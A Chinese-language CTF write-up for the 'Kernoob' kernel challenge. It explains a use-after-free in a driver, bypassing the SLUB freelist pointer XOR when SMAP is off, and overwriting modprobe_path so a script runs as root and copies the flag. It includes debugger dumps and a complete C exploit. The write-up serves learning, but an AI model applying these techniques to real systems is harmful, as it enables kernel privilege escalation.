Kernoob: kmalloc without SMAP

补坑:这里的XOR其实是slub分配器开启CONFIG_SLAB_FREELIST_HARDENED后的一种保护机制,机制比较简单,不再说明,在内核代码的freelist_ptr中可以看到,不过在这题中我想到的利用高地址xor为0用于落入用户空间并修复list的bypass的方法感觉在没有SMAP保护前提下还是比较通用的。当然就这个题目而言还可以选择double fetch的方法。

赛后才知道题目本身因为出题和部署失误附件有flag,而且可以通过修改/bin/umount直接在exit适时候提权(qemu部署下,文件权限不严格应该都会有这个锅)
不过赛时终归是用驱动UAF正常解法做出来的,大部分时间在找一条利用链来bypass kmalloc(without SMAP)分配较小堆块、存在xor时,如何分配chunk到内核空间并且不产生crash,在分配后恢复堆空间:

Analyze

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

stty intr ^]
cd `dirname $0`
timeout --foreground 600 qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 pti=off oops=panic panic=1 nokaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp 2,cores=2,threads=1 \
-cpu qemu64,smep 2>/dev/null

注意到没有开启kalsr和smap
内核加载了noob驱动,在ioctl的0x30001操作中在delete时存在UAF:

1
2
3
4
5
6
7
8
9
10
11
12
13
signed __int64 __usercall del_note@<rax>(__int64 a1@<rbp>, _QWORD *a2@<rdi>)
{
__int64 v3; // [rsp-10h] [rbp-10h]

_fentry__(a2);
v3 = *((_QWORD *)&pool + 2 * *a2);
if ( *a2 > 0x1FuLL )
return -1LL;
if ( !v3 )
return -1LL;
kfree(v3);
return 0LL;
}

但是堆块大小受限制,需在0x20-0x70之间,且能分配0x20个note

Exploit

原本想法:因为没有开启kalsr,驱动载入地址已知,直接利用UAF修改chunk的fd到驱动的&pool,将chunk分配到&pool上,便可以修改pool里的指针,完成任意地址读写,而后直接修改modprobe_path并打开一个非法格式的ELF触发提权
但是直接修改fd会crash,看到堆的结构:

1
2
3
4
5
6
pwndbg> x/10xg 0xffff880007452ae0
0xffff880007452ae0: 0x0b34d695ef7af0e8 0x0000000000000000
0xffff880007452af0: 0x0000000000000000 0x0000000000000000
0xffff880007452b00: 0x0000000000000000 0x0000000000000000
0xffff880007452b10: 0x0000000000000000 0x0000000000000000
0xffff880007452b20: 0x0000000000000000 0x0000000000000000

并非直接指向fd,猜测有一层xor cookie(之前的chunk直接指向fd,没注意到这一点),通过硬件断点找到xor位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.text:FFFFFFFF81242D10                 movsxd  r8, dword ptr [r9+20h]
.text:FFFFFFFF81242D14 mov rdi, [r9]
.text:FFFFFFFF81242D17 lea rcx, [rdx+1]
.text:FFFFFFFF81242D1B mov rax, r12
.text:FFFFFFFF81242D1E add r8, r12
.text:FFFFFFFF81242D21 mov r11, [r8]
.text:FFFFFFFF81242D24 xor r11, [r9+140h]
.text:FFFFFFFF81242D2B mov rbx, r8
.text:FFFFFFFF81242D2E xor rbx, r11
.text:FFFFFFFF81242D31 lea rsi, [rdi]
.text:FFFFFFFF81242D34 call sub_FFFFFFFF81984E70
.text:FFFFFFFF81242D39 test al, al
.text:FFFFFFFF81242D3B jz short loc_FFFFFFFF81242CE9
.text:FFFFFFFF81242D3D cmp r8, r11
.text:FFFFFFFF81242D40 jz short loc_FFFFFFFF81242D56
.text:FFFFFFFF81242D42 movsxd rax, dword ptr [r9+20h]
.text:FFFFFFFF81242D46 add rbx, rax
.text:FFFFFFFF81242D49 xor rbx, [rbx]
.text:FFFFFFFF81242D4C xor rbx, [r9+140h]
.text:FFFFFFFF81242D53 prefetcht0 byte ptr [rbx]

实现位置在:

1
2
3
/ # cat /proc/kallsyms | grep -i FFFFFFFF81242C80
ffffffff81242c80 T __kmalloc
/ #

这里看汇编就可以大致明白
(因为时间原因,这里只是通过汇编大致猜测的机制,kmalloc也是时候重看一遍了,等有时间仔细研究过再具体说明)
在chunk位置写入的是:

1
*chunk=chunk^next_chunk^cookie

并且当*chunk=chunk^cookie时不会继续从这里分配(尾节点)
我们主要需要解决的问题:

  • cookie的leak
  • 需要bypass:
    1
    2
    3
    .text:FFFFFFFF81242D49                 xor     rbx, [rbx]
    .text:FFFFFFFF81242D4C xor rbx, [r9+140h]
    .text:FFFFFFFF81242D53 prefetcht0 byte ptr [rbx]

当我们分配chunk时会发现,有很大概率,堆里包含指向自己chunk+0x28的指针:

1
2
3
4
5
6
pwndbg> x/10xg 0xffff880005b33480
0xffff880005b33480: 0xf4cb5e95eac9ca68 0x0000000000000000
0xffff880005b33490: 0xffff880005b9d9c0 0x0000000000000000
0xffff880005b334a0: 0x0000000000000000 0xffff880005b334a8
0xffff880005b334b0: 0xffff880005b334a8 0x0000000000000001
0xffff880005b334c0: 0x0000000000000000 0xffff880005b334c8

0xffff880005b334a8-0x28=0xffff880005b33480
只需已知两个chunk的地址,即可构造delete链,并利用UAF和*chunk=chunk^next_chunk^cookie或者*chunk=chunk^cookie来拿到cookie,不过后来发现环境里这里实际是一个定值:0xb34d695ef7afee8,所以这里不确定是否与环境有关,等彻底研究过具体分配机制再分享一下

bypass crash

驱动地址:

1
2
 # cat /proc/modules |grep noob
noob 16384 0 - Live 0xffffffffc0002000 (OE)

如果直接通过*chunk=chunk^next_chunk^cookie将fd指向驱动pool位置,则在经过一系列xor后:

1
2
3
.text:FFFFFFFF81242D49                 xor     rbx, [rbx]
.text:FFFFFFFF81242D4C xor rbx, [r9+140h]
.text:FFFFFFFF81242D53 prefetcht0 byte ptr [rbx]

*pool位置为0或者是一个堆块地址,所以经过xor后rbx会等于一个很大的值,是一个非法地址,从而crash,且驱动中数据不可控,所以这里需要bypass
首先想到的方法:

  • 我们要让这里pool中数据可控,使得此处的值经过xor后可以落入一个合法地址
  • 考虑经过xor后使rbx高位为0即可,这样由于没有开启smap保护,直接在用户空间mmap一个空间,使地址合法即可
  • 所以我们可以在pool中写入四字节可控数据即可保证xor时落入用户空间
  • 能写入四字节的只有堆块指针,所以先伪造一个fd指向用户空间,用户空间完全可控,所以可以直接bypass来防止crash,且地址mmap生成,所以可以是任意四字节,成功分配后此地址写入pool
  • pool中存在可控的四字节,我们不按照8字节对齐,使得四字节指针在高位,由于这里可控,所以可以使得xor后高字节为0,重新落入用户空间,此时设置最后一个堆*chunk=chunk^cookie即可恢复堆,此时即可成功分配一个chunk到驱动的pool,而后任意地址写即可

具体操作:

  • delete两个chunk 2 -> 1
    1
    0xffff880005bcb420 => 0xffff880007444cc0
  • 修改chunk 2的fd=cookie^chunk_address^fake_chunk,使得可以分配一个fake_chunk地址到pool,用于下面的bypass xor,所以fake_chunk=(cookie^pool_ko)>>32
    1
    2
    3
    4
    5
    6
    7
    8
    9
    fake_chunk:0x00000000f4cb296a
    0xffffffffc00045c0: 0xffff880005bcb960 0x0000000000000060
    0xffffffffc00045d0: 0xffff880005bcb660 0x0000000000000060
    0xffffffffc00045e0: 0xffff880005bcba20 0x0000000000000060
    0xffffffffc00045f0: 0xffff880005bcb420 0x0000000000000060
    0xffffffffc0004600: 0x0000000000000000 0x0000000000000000
    0xffffffffc0004610: 0xffff880005bcb420 0x0000000000000060
    0xffffffffc0004620: 0x00000000f4cb296a 0x0000000000000060
    0xffffffffc0004630: 0x0000000000000000 0x0000000000000000
  • 在最后分配chunk到pool时,位置fd指向pool_ko-4,[pool_ko]=fake_chunk ,[pool_ko-4]=fake_chunk<<32,经过xor使得将要处理的next_chunk(上面提到的rbx)高地址为0,指向用户空间,在用户空间mmap使得地址合法即可
    利用地址差将之前写入的fake_chunk指针在高地址
    1
    2
    3
    pwndbg> x/10xg 0xffffffffc000461c
    0xffffffffc000461c: 0xf4cb296a00000000 0x0000006000000000
    0xffffffffc000462c: 0x0000000000000000 0x0000000000000000
  • xor后高地址为0,rbx落入用户空间:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    ─────────────────────────────────[ REGISTERS ]──────────────────────────────────
    RAX 0x0
    RBX 0x2f7ab8f4 ◂— sbb al, 0x46 /* 0xb34d695c000461c */
    RCX 0x1184
    RDX 0x1183
    RDI 0x270c0
    RSI 0x0
    R8 0xffffffffc000461c ◂— add byte ptr [rax], al /* 0xf4cb296a00000000 */
    R9 0xffff880006401600 ◂— sal byte ptr [rax + 2], 0 /* 0x270c0 */
    R10 0x0
    R11 0xffffffffef7afee8
    R12 0xffffffffc000461c ◂— add byte ptr [rax], al /* 0xf4cb296a00000000 */
    R13 0x14000c0
    R14 0x60
    R15 0xffff880006401600 ◂— sal byte ptr [rax + 2], 0 /* 0x270c0 */
    RBP 0xffffc900001dfdf8 —▸ 0xffffc900001dfe30 —▸ 0xffffc900001dfe60 —▸ 0xffffc900001dfee8 —▸ 0xffffc900001dff28 ◂— ...
    RSP 0xffffc900001dfdc8 —▸ 0xffffffffc00020d1 ◂— mov qword ptr [rbp - 0x10], rax /* 0xf07d8348f0458948 */
    RIP 0xffffffff81242d49 ◂— 0x1409933491b3348
    ───────────────────────────────────[ DISASM ]───────────────────────────────────
    ► 0xffffffff81242d49 xor rbx, qword ptr [rbx]
    0xffffffff81242d4c xor rbx, qword ptr [r9 + 0x140]
    0xffffffff81242d53 prefetcht0 byte ptr [rbx]
    0xffffffff81242d56 test r13d, 0x8000
    0xffffffff81242d5d jne 0xffffffff81242e55

    0xffffffff81242d63 nop
    0xffffffff81242d68 mov rax, qword ptr [rbp + 8]
    0xffffffff81242d6c movsxd rbx, dword ptr [r15 + 0x18]
    0xffffffff81242d70 mov qword ptr [rbp - 0x30], rax
    0xffffffff81242d74 nop
    0xffffffff81242d79 add rsp, 8
  • 将最后mmap的chunk布置为*chunk=chunk^cookie防止crash即可
    1
    2
    3
    4
    5
    6
    pwndbg> x/10xg 0x2f7ab8f4
    0x2f7ab8f4: 0x0b34d695c000461c 0x0000000000000000
    0x2f7ab904: 0x0000000000000000 0x0000000000000000
    0x2f7ab914: 0x0000000000000000 0x0000000000000000
    0x2f7ab924: 0x0000000000000000 0x0000000000000000
    0x2f7ab934: 0x0000000000000000 0x0000000000000000

get flag

修改modprobe_path指向/home/pwn/exp/copy.sh:

1
2
3
4
5
6
7
x/s 0xffffffff8245aba0
0xffffffff8245aba0: "/home/pwn/exp/copy.sh"

/home/pwn/exp/copy.sh:
#!/bin/sh
/bin/cp /flag /home/pwn/flag
/bin/chmod 777 /home/pwn/flag

而后打开一个非法格式ELF触发即可以root身份运行copy.sh

1
2
echo -ne '\xff\xff\xff\xff' > /home/pwn/exp/kirin
./kirin

PWN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <signal.h>
#define KERNCALL __attribute__((regparm(3)))
#define _GNU_SOURCE

long int data[0x400];
void add(int fd,long int index,long int size){
long int arg[3]={index,0,size};
ioctl(fd,0x30000,arg);
}

void delete(int fd,long int index){
long int arg[3]={index,0,0};
ioctl(fd,0x30001,arg);
}

void edit(int fd,long int index,long int *data,long int size){
long int arg[3]={index,data,size};
ioctl(fd,0x30002,arg);
}

void show(int fd,long int index,long int *data,long int size){
long int arg[3]={index,data,size};
ioctl(fd,0x30003,arg);
}

void info(){
for(int i=0;i<=14;i++){
printf("%016llx | %016llx\n",data[2*i],data[2*i+1]);
}
}
void shell(){
system("/bin/sh");
}

unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_status() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}

int main(){
save_status();
signal(SIGSEGV, shell);
long int mod_base= 0xffffffffc0002000;
int fd=open("/dev/noob",0);
int i;
long int leak[2];
long int address[2];
int j=0;
for(i=0;i<=20;i++){
add(fd,i,0x60);
show(fd,i,data,0x60);
if(data[5]==data[6] && data[5]!=0){
printf("%d=>%llx\n",i,data[5]);
leak[j]=i;
address[j++]=data[5]-0x28;
if(j==2)
break;
}
}
printf("%d %d\n",leak[0],leak[1]);
delete(fd,leak[0]);
delete(fd,leak[1]);//1->0
show(fd,leak[1],data,0x60);
long int c1=data[0];
show(fd,leak[0],data,0x60);
long int c2=data[0];
long int cookie=c1^address[0]^address[1];
long int cookie2=0xb34d695ef7afee8;//c2^address[0];
printf("cookie => %llx\n",cookie);
printf("cookie2 => %llx\n",cookie2);
long int kirin_magic=(cookie2^mod_base)>>32;
long int fake=mmap(kirin_magic&0xfffff000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,0,0);
printf("%llx %llx\n",(kirin_magic)&0xfffff000,fake);
long int fake2=kirin_magic&0xffffffff;
long int magic2=(fake2<<32)^cookie2^0xffffffffc000461c;
long int fake3=mmap(magic2&0xfffff000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,0,0);
printf("2: %llx %llx\n",magic2,fake3);
*(long int *)magic2=magic2^cookie2;
data[0]=cookie2^address[1]^fake2;
*(long int *)fake2=cookie2^fake2;
edit(fd,leak[1],data,8);
add(fd,21,0x60);
*(long int *)fake2=cookie2^fake2^0xffffffffc000461c;
add(fd,22,0x60);
add(fd,23,0x60);
add(fd,24,0x60);
add(fd,25,0x60);
data[0]=0x8245aba000000000;
data[1]=0x00000060ffffffff;
edit(fd,23,data,0x10);
data[0]=0x68732e79706f632f;
data[1]=0;
char *copy="/home/pwn/exp/copy.sh";
edit(fd,22,copy,25);
}

Successfully